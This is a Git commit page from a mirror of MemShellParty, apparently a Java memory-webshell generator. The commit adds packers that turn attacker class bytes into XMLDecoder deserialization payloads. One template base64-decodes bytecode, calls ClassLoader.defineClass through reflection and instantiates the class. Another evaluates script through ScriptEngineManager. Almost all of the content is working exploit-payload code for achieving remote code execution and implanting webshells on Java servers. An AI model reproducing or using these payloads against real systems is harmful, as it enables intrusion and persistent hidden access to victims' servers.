archive/MemShellParty
1
0
Fork 0
mirror of https://github.com/ReaJason/MemShellParty.git synced 2026-09-21 22:50:42 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

feat: support XMLDecoderDefineClass packer

Browse Source
This commit is contained in:
ReaJason
2025-08-13 23:53:40 +08:00
parent 6361e4d50b
commit 8bff3b24c7
13 changed files with 207 additions and 29 deletions
Download Patch File Download Diff File Expand all files Collapse all files
packer/src/main/java/com/reajason/javaweb/packer/Packers.java
+4
View File
@@ -41,7 +41,9 @@ import com.reajason.javaweb.packer.spel.SpELScriptEnginePacker;
import com.reajason.javaweb.packer.spel.SpELSpringIOUtilsGzipPacker;
import com.reajason.javaweb.packer.spel.SpELSpringUtilsPacker;
import com.reajason.javaweb.packer.velocity.VelocityPacker;
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker;
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker;
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderScriptEnginePacker;
import lombok.Getter;
import java.util.List;
@@ -112,6 +114,8 @@ public enum Packers {
Velocity(new VelocityPacker()),
JinJava(new JinJavaPacker()),
XMLDecoder(new XMLDecoderPacker()),
XMLDecoderScriptEngine(new XMLDecoderScriptEnginePacker(), XMLDecoderPacker.class),
XMLDecoderDefineClass(new XMLDecoderDefineClassPacker(), XMLDecoderPacker.class),
/**
* Java 反序列化打包器
packer/src/main/java/com/reajason/javaweb/packer/xmldecoder/XMLDecoderDefineClassPacker.java
+45
View File
@@ -0,0 +1,45 @@
package com.reajason.javaweb.packer.xmldecoder;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
/**
* @author ReaJason
* @since 2025/7/22
*/
public class XMLDecoderDefineClassPacker implements Packer {
String template = "<java>\n" +
" <object class=\"javax.xml.bind.DatatypeConverter\" method=\"parseBase64Binary\" id=\"code\">\n" +
" <string>{{base64Str}}></string>\n" +
" </object>\n" +
" <class id=\"clazz\">java.lang.ClassLoader</class>\n" +
" <void idref=\"clazz\">\n" +
" <void method=\"getDeclaredMethod\" id=\"defineClass\">\n" +
" <string>defineClass</string>\n" +
" <array class=\"java.lang.Class\" length=\"3\">\n" +
" <void index=\"0\"><class>[B</class></void>\n" +
" <void index=\"1\"><class>int</class></void>\n" +
" <void index=\"2\"><class>int</class></void>\n" +
" </array>\n" +
" <void method=\"setAccessible\"><boolean>true</boolean></void>\n" +
" </void>\n" +
" </void>\n" +
" <object method=\"invoke\" class=\"sun.reflect.misc.MethodUtil\">\n" +
" <object idref=\"defineClass\"/>\n" +
" <object class=\"java.lang.ClassLoader\" method=\"getSystemClassLoader\"/>\n" +
" <array class=\"java.lang.Object\" length=\"3\">\n" +
" <void index=\"0\"><object idref=\"code\"/></void>\n" +
" <void index=\"1\"><int>0</int></void>\n" +
" <void index=\"2\"><int>{{byteCodeLength}}</int></void>\n" +
" </array>\n" +
" <void method=\"newInstance\"/>\n" +
" </object>\n" +
"</java>";
@Override
public String pack(ClassPackerConfig config) {
return template
.replace("{{base64Str}}", config.getClassBytesBase64Str())
.replace("{{byteCodeLength}}", String.valueOf(config.getClassBytes().length));
}
}
packer/src/main/java/com/reajason/javaweb/packer/xmldecoder/XMLDecoderPacker.java
+2 -19
View File
@@ -1,28 +1,11 @@
package com.reajason.javaweb.packer.xmldecoder;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.packer.AggregatePacker;
/**
* @author ReaJason
* @since 2025/7/22
*/
public class XMLDecoderPacker implements Packer {
String template = "<java>\n" +
" <object class=\"javax.script.ScriptEngineManager\">\n" +
" <void method=\"getEngineByName\">\n" +
" <string>js</string>\n" +
" <void method=\"eval\">\n" +
" <string>{{script}}</string>\n" +
" </void>\n" +
" </void>\n" +
" </object>\n" +
"</java>";
public class XMLDecoderPacker implements AggregatePacker {
@Override
public String pack(ClassPackerConfig config) {
String script = Packers.ScriptEngine.getInstance().pack(config);
return template.replace("{{script}}", script);
}
}
packer/src/main/java/com/reajason/javaweb/packer/xmldecoder/XMLDecoderScriptEnginePacker.java
+28
View File
@@ -0,0 +1,28 @@
package com.reajason.javaweb.packer.xmldecoder;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/**
* @author ReaJason
* @since 2025/7/22
*/
public class XMLDecoderScriptEnginePacker implements Packer {
String template = "<java>\n" +
" <object class=\"javax.script.ScriptEngineManager\">\n" +
" <void method=\"getEngineByName\">\n" +
" <string>js</string>\n" +
" <void method=\"eval\">\n" +
" <string>{{script}}</string>\n" +
" </void>\n" +
" </void>\n" +
" </object>\n" +
"</java>";
@Override
public String pack(ClassPackerConfig config) {
String script = Packers.ScriptEngine.getInstance().pack(config);
return template.replace("{{script}}", script);
}
}